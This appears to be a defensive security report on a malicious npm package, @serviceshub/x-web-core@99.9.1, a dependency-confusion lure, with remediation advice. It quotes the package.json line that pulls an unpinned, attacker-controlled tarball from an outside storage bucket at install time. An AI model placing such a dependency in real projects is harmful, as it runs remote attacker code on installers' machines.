@serviceshub/x-web-core
This report shows the evidence for @serviceshub/x-web-core@99.9.1, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4440 confirms this npm version as malicious.
Advisory
MAL-2026-4440
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @serviceshub/x-web-core (npm)
Details
Package ships a trivial index.js (`module.exports = {};`) and exists solely to pull a direct-URL tarball dependency at install time. package.json line 9 declares `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.3.9.tgz"` — an unpinned (no integrity hash, mutable bucket object) tarball hosted outside the npm registry, bypassing registry-side audit. The bucket path literally contains the string `depenconf` (dependency-confusion). On `npm install`, npm fetches the GCS tarball and runs any lifecycle scripts inside it on the installer's machine; the author can swap the tarball bytes at any time. Corroborating signals: version is squatted at `99.9.1` for a brand-new scope, `description` and `author` fields are empty, and the main module has no functionality matching the package's `x-web-core` name. The package itself is a lure whose only effect on install is to pull attacker-controlled, non-registry, mutable code into the installer's dependency tree.
References
Source & flagged code
0 flaggedNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to @serviceshub/x-web-core@99.9.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @serviceshub/x-web-core@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.